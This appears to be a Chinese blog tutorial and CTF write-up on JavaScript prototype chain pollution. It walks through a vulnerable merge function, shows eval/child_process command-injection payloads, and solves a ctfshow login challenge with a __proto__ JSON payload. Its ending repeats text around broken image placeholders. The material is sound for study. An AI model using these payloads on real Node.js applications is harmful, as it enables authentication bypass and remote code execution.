赞
踩
原型链污染是一种针对JavaScript运行时的注入攻击。通过原型链污染,攻击者可能控制对象属性的默认值。这允许攻击者篡改应用程序的逻辑,还可能导致拒绝服务,或者在极端情况下,远程执行代码。
比较出名的一个原型链污染漏洞,是在2019年初,在
Snyk的安全研究人员透露出流行的JavaScript库—Lodash的严重的漏洞,这允许黑客攻击多个web应用程序。
漏洞细节:https://security.snyk.io/vuln/SNYK-JS-LODASH-450202
对于使用过基于类的语言(如Java或C++)的开发者们来说,JavaScript实在是有些令人困惑——JavaScript是动态的,本身不提供一个class的实现。即便是在ES2015/ES6中引入了class关键字,但那也只是语法糖,JavaScript仍然是基于原型的。
当谈到继承时,JavaScript只有一种结构∶对象。每个实例对象(object)都有一个私有属性(称之为_proto_ )指向它的构造函数的原型对象(prototype)。该原型对象也有一个自己的原型对象(_proto),层层向上直到一个对象的原型对象为null。根据定义,null没有原型,并作为这个原型链中的最后一个环节。
几乎所有JavaScript中的对象都是位于原型链顶端的object的实例。尽管这种原型继承通常被认为是 JavaScript的弱点之,但是原型继承模型本身实际上比经典模型更强大。例如,在原型模型的基础上构建经典模型相当简单。
function Son(){}
var son = new Son();
console.log(Son.prototype)
console.log(son.__proto__)
console.log(Son.prototype == son.__proto__)
debugger;
原型是继承的基础,JavaScript中原型链可以通过prototype这个属性来实现继承机制
function Father(){
this.first_name='Donald'
this.last_name='Trump'
}
function Son(){
this.first_name='Melania'
}
// console.log(Son.prototype)
Son.prototype = new Father()
let son = new Son
console.log(`Name:${son.first_name} ${son.last_name}`)
child_process提供了几种创建子进程的方式
有时会利用到child_process
模块中的exec
进行命令执行
?eval=require('child_process').exec('ls');
function Father(){
this.first_name='Donald'
this.last_name='Trump'
}
function Son(){
this.first_name='Melania'
}
// console.log(Son.prototype)
Son.prototype = new Father()
let son = new Son
son.__proto__['last_name']='xxh'
let newson = new Son
console.log(`Name:${newson.first_name} ${newson.last_name}`)
相对比上一个代码发现,可以发现修改了son的原型属性之后会影响到另外一个具有相同原型的对象,不难看出我们是通过设置了__proto__的值来影响原型的属性。
在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?
思考一下,哪些情况下我们可以设置_proto_的值呢﹖其实找找能够控制数组(对象)的"键名”的操作即可:
function merge(target,source) {
for(let key in source) {
if(key in source && key in target) {
merge(target[key],source[key])
}else{
target[key]=source[key]
}
}
}
用代码试验一下
function merge(target,source) { for(let key in source) { if(key in source && key in target) { merge(target[key],source[key]) }else{ target[key]=source[key] } } } let o1 = {} let o2 = {a:1,"__proto__":{b:2}} merge(o1,o2) console.log(o1.a, o1.b) o3 = {} console.log(o3.b)
这是因为,我们用JavaScript创建o2的过程(let o2 = fa: 1,“proto”:(b:2l})中,_proto_已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a,b],_proto_并不是一个key,自然也不会修改Object的原型。
可以改为
function merge(target,source) { for(let key in source) { if(key in source && key in target) { merge(target[key],source[key]) }else{ target[key]=source[key] } } } let o1 = {} let o2 = JSON.parse('{"a":1,"__proto__":{"b":2}}') merge(o1,o2) console.log(o1.a, o1.b) o3 = {} console.log(o3.b)
可见,新建的o3对象,也存在b属性,说明Object已经被污染:这是因为,JSON解析的情况下,-_proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。
原理和前面一样,就是有原型链污染的前提之下,我们可以控制基类的成员,赋值为一串恶意代码,从而造成代码注入。
let foo = {bar: 1}
foo._proto__.bar = 'require(\'child_process\').execSync(\'calc\');'
let zoo = {}
eval(zoo.bar)
直接给了源码,找到login路由
var express = require('express'); var router = express.Router(); var utils = require('../utils/common'); /* GET home page. */ router.post('/', require('body-parser').json(),function(req, res, next) { res.type('html'); var flag='flag_here'; var secert = {}; var sess = req.session; let user = {}; utils.copy(user,req.body); if(secert.ctfshow==='36dboy'){ res.end(flag); }else{ return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)}); } }); module.exports = router;
我们要把secert中设一个ctfhsow属性让它等于36dboy,看一下copy函数
和我们上面说的merge函数非常相似,利用原型链污染,给object添加ctfshow属性
payload:{"__proto__":{"ctfshow":"36dboy"}}
exports = router;
我们要把secert中设一个ctfhsow属性让它等于36dboy,看一下copy函数
[外链图片转存中...(img-dtBPF7wx-1675675743509)]
和我们上面说的merge函数非常相似,利用原型链污染,给object添加ctfshow属性
payload:`{"__proto__":{"ctfshow":"36dboy"}}`
![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zqzt3wSP-1675675743509)(nodejs原型链污染.assets/image-20230206172728848.png)\]](https://img-blog.csdnimg.cn/bbd97194d0504594a2f6a15c4235c624.png)
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。